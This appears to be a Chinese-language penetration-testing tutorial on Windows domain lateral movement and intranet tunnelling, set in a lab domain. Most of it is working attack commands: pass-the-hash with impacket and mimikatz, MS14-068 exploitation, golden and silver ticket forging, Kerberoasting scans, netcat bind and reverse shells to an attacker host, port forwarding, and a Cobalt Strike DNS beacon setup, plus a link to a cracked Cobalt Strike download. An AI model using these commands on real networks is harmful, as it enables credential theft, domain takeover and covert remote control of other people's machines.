使用impacket套件中的wmiexec明文或hash传递,有回显(复制到靶机操作)

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

PTH、PTK、PTT传递

对于 8.1/2012r2,安装补丁 kb2871997Win 7/2008r2/8/2012 等,可以使用 AES keys
代替 NT hash 来实现 PTK 攻击(等于补丁导致不能进行哈希传递)

KB2871997 补丁后的影响(该补丁打了后系统的内存不保存明文的密码)

  • PTH:没打补丁用户都可以连接,打了补丁只能 administrator(指靶机本地管理员,等于域用户和本地其他用户不能连接) 连接
  • PTK:打了补丁才能用户都可以连接,采用 AES256 连接

KB22871997是否真的能防御PTH攻击?

可以使用Ladon进行攻击(解压密码:k8gege.org)

PTH传递

PTH(pass the hash) 是利用LM(老版本哈希)或NTLM(新版本)的值进行的渗透测试

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM HashNTLM Hash访问远程主机或服务,而不用提供明文密码。

如果禁用了NTLM认证,PsExec无法利用获得的NTLMhash进行远程连接,但是使用 mimikatz 还是可以攻击成功。

PTT 与 PTH 的区别

  • PTT的Kerberos TGT ticket 会过期(默认为10小时)
  • PTH的NTLM hashes 只有在用户改变密码时才会改变。

因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。

利用流程:

  1. mimikatz获得LMNTLM

    sekurlsa::logonpasswords
    
  2. 使用NTLM值连接

    sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM 值
    
PTK传递

PTK(pass the key) 是利用ekeysAES256,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似PTH功能的渗透测试

利用流程:

  1. mimikatz 获取 AES256

    sekurlsa::ekeys
    
  2. 用已获得的 AES256 值连接

    sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值
    
PTT哈希票据传递

PTT(pass the ticket)是利用的票据凭证TGT进行的渗透测试(票据与cookie类似)

和加密算法不同的是,PTT采用的票据,使用Kerberos协议

  1. 客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥),发送给 KDC(域控),KDC 对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket)KDC域控为客户机生成cookie
  2. TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能取 kerberosTGT 数据(KDC域控返回的cookie只有域用户 krbtgt才能读取)
  3. 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服务)票证,并且对 TGT 进行检测(域用户 krbtgt发送cookieKDC域控请求检测)
  4. 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将加密后的票据ST返回给客户机。(KDC域控检测没问题返回ST票据,并以后可以通过该票据建立通信,其中该票据只针对这一个服务)

PTT攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos协议进行攻击的。

攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。

PTT 传递不需本地管理员权限,连接时主机名连接,基于漏洞、工具、本地票据 。

有3种常见方法:MS14-068、Golden ticket,SILVER ticket

MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据),其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术。

下面分别介绍

MS14-068
  • MS14-068 是密钥分发中心KDC服务中的Windows漏洞。
  • 它允许经过身份验证的用户在其 Kerberos 票证TGT中插入任意的 PAC(表示所有用户权限的结构)。
  • 该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心KDC中。
  • 普通用户可以通过呈现具有改变了 PACKerberos TGT 来获得票证,进而伪造票据获得管理员权限。

MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁kb3011780

攻击流程(用户属于域用户组):

  1. 查看当前用户的sid

    whoami/user
    
  2. 启用mimikatz,查看当前机器凭证

    kerberos::list
    
  3. 清空当前机器所有凭证(如果有域成员凭证会影响凭证伪造)

    kerberos::purgepowershell的klist也可以查看票据(powershell直接输入klist)
    
  4. 利用 ms14-068 生成 TGT 票据,票据为TGT_mary@god.org.ccache文件

    ms14-068.exe -u 域成员名@域名 -s 当前域用户的sid -d 域控制器地址 -p 域成员密码.\MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45(注意前面要加.\)
    
  5. mimikatz将票据注入内存

    mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
    
  6. 查看凭证列表中票据是否注入成功

    klist
    
  7. 漏洞利用

    dir \\192.168.3.21\c$
    

也可以使用kekeo工具进行攻击

攻击流程(与上面流程相似,从上面的第4步开始):

  1. 生成票据

    .\kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
    
  2. 导入票据

    kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
    
  3. 漏洞利用

    dir \\192.168.3.21\c$
    
黄金票据

Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session KeyTG

Logon Session Key 并不会保存在 KDC 中,krbtgtNTLM Hash 又是固定的。

所以只要得到 krbtgtNTLM Hash,就可以伪造 TGTLogon Session Key 来进入下一步 ClientTGS 的交互。

而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

**特点:**不需要与 AS 进行交互,需要用户 krbtgtHash

攻击条件:

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID
  • 要伪造的用户名

攻击流程:

  1. 启动mimikatz并提权

    privilege::debug
    
  2. 读取域与域用户信息

    lsadump::dcsync /domain:god.org /user:krbtgt
    
  3. 制作黄金票据

    kerberos::golden /admin:system /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:ticket.kirbi
    
  4. 清除票据

    kerberos::purge 
    
  5. 将票据注入内存

    kerberos::ptt 票据地址 
    
  6. 查看票据

    kerberos::list
    
  7. 票据利用

    dir \owa.god.org\c$
    
白银票据

白银票据伪造的是 ST

Kerberos 认证的第三步,Client 带着 STAuthenticator3 向 Server 上的某个服务进行请求。

Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key

通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。

所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。

白银票据这里只是对单一的服务进行授权,利用过程和黄金票据差不多,首先上域控制器KDC中,把机器的ntlm hash(rc4加密) 存储下来,然后在普通域用户机器进行伪造权限,进行PTT

攻击流程:

  1. 启动mimikatz并提权

    privilege::debug
    
  2. 读取域与域用户信息

    sekurlsa::logonpasswords
    
  3. 制作白银票据

    kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089-1000 /target:owa.god.org /service:cifs /rc4:105c2352f5e8a768ca560cd1950f69b2 /user:liukaifeng01 /ptt
    
  4. 清除票据

    kerberos::purge 
    
  5. 将票据注入内存

    kerberos::ptt 票据地址 
    
  6. 查看票据

    kerberos::list
    
  7. 票据利用

    dir \owa.god.org\c$
    

RDP协议

RDP(Remote Display Protocol )叫做远程显示协议,默认端口为3389

Linux上面就是通过Xshell连接的SSHxeiy协议,在windows上面就是类似LinuxRDP协议

window开启远程连接界面:在运行里输入mstsc

mstsc 和mstsc /admin 区别

  • mstsc连接服务器后的身份标识是普通用户,如果登陆了其他高级用户,该用户就无法登陆
  • mstsc /admin连接服务器后的身份标识是管理员账户,最优先连接,如果登陆了其他的登陆级别的用户,这些账户会断开连接

也可以用命令行连接:

window:
mstsc.exe /console /v:192.168.3.21 /adminlinux:
rdesktop 192.168.3.21:3389

RDP密文HASH链接

windows Server需要开启 Restricted Admin mode,在Windows 8.1Windows Server 2012 R2中默认开启,同时如果Win 7Windows Server 2008 R2安装了28719972973351补丁也支持

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

运行Restricted Admin mode服务

mstsc.exe /restrictedadmin

SPN服务

定义:

服务主体名称SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称(唯一cookie的标识,类似于token)。

Kerberos身份验证使用SPN服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN

SPN扫描:

SPN扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描“

SPN扫描通过LDAP(攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描)查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。

SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不要连接到网络上的每个IP来检查服务端口(不会因为触发内网中的IPSIDS等防火墙设备的规则而产生大量的警告日志)。

Kerberoasting攻击

  1. 黑客可以使用有效的域用户的身份验证票证TGT)去请求运行在域控服务器上的一个或多个目标服务的服务票证。
  2. DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
  3. 请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证
  4. 黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
  5. 如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

扫描例子:

setspn -q */*   #扫描全部,这里每个域用户对应的SPN服务都有
setspn -q */* | findstr "MSSQL" #查询MSSQL服务,相当于不用连接ip就可以查看靶机服务

CobaltStrike

CobaltStrike4.5下载与破解教程:
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/16505470.html

CobaltStrike4.0用户手册:
https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/init 提取码:dtm2

Cobalt Strike是一款渗透测试软件,分为N个客户端与1个服务端,可以进行团队分布式操作,是渗透红队的必备工具。

Cobalt Strike集成了功能和模块:

  • 端口转发
  • 扫描多模式端口Listener
  • Windows exe程序生成
  • Windows dll动态链接库生成
  • java程序生成
  • office宏代码生成

CS神器流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透

内网穿透

两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的,必须要借助代理。

正反向协议通信:

  • 正向:控制端连接被控制端
  • 反向:被控制端连接控制端

什么要区分正向和反向?

  • 因为如果控制端是外网主机,被控端是内网主机,就相当于控制端有一个唯一的IP地址(比如103.12.4.11),通过这个IP地址就可以找到控制端
  • 而在内网的被控端(比如192.168.23.36),你通过控制端主动去找是找不到的,因为这个内网IP地址并不是唯一的,可能很多内网都用了这个IP地址,你根本没法找。此时就需要反向连接了,让内网的被控端主动去找外网的控制端。

内网穿透中隧道和代理的区别

  • 代理:主要解决网络的连通性问题(如果内网中存在防火墙等等禁止对代理的相关协议,代理就不能用需要隧道进行协议的伪装)
  • 隧道:解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题(代理的高级版本,进行了协议的伪装)

Ngrok

国外地址:https://ngrok.com/

国内地址:https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/

攻击流程:

  1. kail是控制端,在本地运行ngrok的客户端文件
  2. 客户端文件的作用就是:监听http://xigua.free.idcfengye.com域名(127.0.0.1:4040端口)传递给kail控制端的192.168.108.129:4444的流量信息(木马反弹的是ngrok服务器)
  3. kail生成后门文件:这里要区分传统的生成后门写的lhost(攻击主机的ip地址),由于设置了ngrok服务器中转,因此lhost地址为ngrok服务器
  4. kailMSF接受shell:注意这里是服务器找内网的kail,因此是反向代理。RHOST参数值为受害靶机的ip地址,LHOST设置的是攻击主机的ip地址。而本文是反向代理,是服务器找本机ip,相当于反弹的shell找本机。(这也是为什么要在ngrok服务器设置反弹的ip和端口

frp

Ngrok工具使用的是别人的服务器,容易泄露隐私数据。

FRP下载地址:https://github.com/fatedier/frp

使用前要求改配置文件
frpc.ini客户端(内网攻击机)frps.ini服务端(外网服务器)

内网隧道

使用隧道的必备条件:知道靶机支持的隧道协议

隧道原理

  1. 在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况

  2. 如果发现异样,就会对通信进行阻断。那么什么是隧道呢?

  3. 这里的隧道,就是一种绕过端口屏蔽的通信方式。

  4. 防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装

  5. 然后穿过防火墙,与对方进行通信

  6. 当封装的数据包到达目的地时将数据包还原,并将还原后的数据包发送到相应服务器上。

常用的隧道技术:

  • 网络层:IPv6 隧道、ICMP 隧道
  • 传输层:TCP 隧道、UDP 隧道、常规端口转发
  • 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

ICMP 隧道

检测靶机是否支持ICMP 隧道

TCP 协议

用“瑞士军刀”:netcat

nc <IP> <端口>(-vz检测TCP端口)
nc <IP>  -uz  <端口>(-uz检测UDP端口)如:
nc -vz 192.168.8.16
HTTP 协议

如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

用“curl”工具,执行

curl <IP 地址:端口>命令如:
curl 192.168.8.16:80
DNS 协议

检测 DNS 连通性常用的命令是“nslookup”和“dig”

nslookup 是windows自带的DNS 探测命令

nslookup 192.168.8.16
dig命令

linux系统自带的 DNS 探测命令

dig 192.168.8.16
工具

pingtunnel是把tcp/udp/sock5流量伪装icmp流量进行转发的工具

因为tcp、udp、sock5这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp进行数据传输

语法

  • -p 表示连接 icmp 隧道另一端的机器IP(即目标服务器
  • -lp 表示需要监听的本地tcp端口
  • -da 指定需要转发的机器的IP(即目标内网某一机器的内网 IP)
  • -dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口)
  • -x 设置连接的密码

传输层转发隧道

lcx

在window使用

下载地址:https://baitexiaoyuan.oss-cn-zhangjiakou.aliyuncs.com/updatecrm/php/20230706/init , 提取码:fn9o

连接命令:

lcx -slave 192.168.3.31 6666 127.0.0.1 3389

portmap

即lcx工具的linux版

下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

连接命令:

./portmap -m 2 -p1 6666 -h2 公网IP -p2 7777

这里的6666端口和7777端口在公网IP上必须是开启状态

Netcat

windows和linux都能利用,用时需要确保是最新版

window下载地址:https://eternallybored.org/misc/netcat/

使用:

双向连接反弹 shell

  1. **正向:**攻击连接受害

    受害:

    nc -ldp 1234 -e /bin/sh //linuxnc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
    

    攻击:

    nc 192.168.76.132 1234 //主动连接
    
  2. **反向:**受害连接攻击

    攻击:

    nc -lvp 1234
    

    受害:

    nc 攻击主机 IP 1234 -e /bin/sh   //linuxnc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe     //windows
    

多向连接反弹 shell-配合转发

  1. god\Webserver:

    Lcx.exe -listen 2222 3333
    
  2. god\Sqlserver:

    nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
    
  3. kali 或本机:

    nc -v 192.168.76.143 3333
    

相关 netcat 主要功能测试

  • 指纹服务:nc -nv 192.168.76.143

  • 端口扫描:nc -v -z 192.168.76.143 1-100

  • 端口监听:nc -lvp xxxx

  • 文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1

  • 反弹 Shell:见上

应用层 DNS 隧道

常规是用http上线,dns比http速度要慢。

当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀(监听器就是隧道的意思

因为dns是域名解析,这个协议一般都不会被拦截,数据通过dns协议给出去,一般也不会被拦截

流程:

  1. 使用云主机 Teamserver 并配置端口 53 启用-udp

  2. 买一个域名修改解析记录如下:

    • A 记录->cs 主机名->CS 服务器 IP

    • NS 记录->ns1 主机名->上个 A 记录地址

    • NS 记录->ns2 主机名->上个 A 记录地址

  3. 配置CobaltStrikeDNS监听器:

    • ns1.ord.cs

    • ns2.ord.cs

    • cs.ord.cs

  4. CobaltStrike中生成后门

    attacks–>packages–>windows executable(s)–>listener选择dns上线,勾选–>选择后门生成位置–>生成后门(dns_x.exe)

  5. 将后门上传到靶机后执行就能在CobaltStrike上线


点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部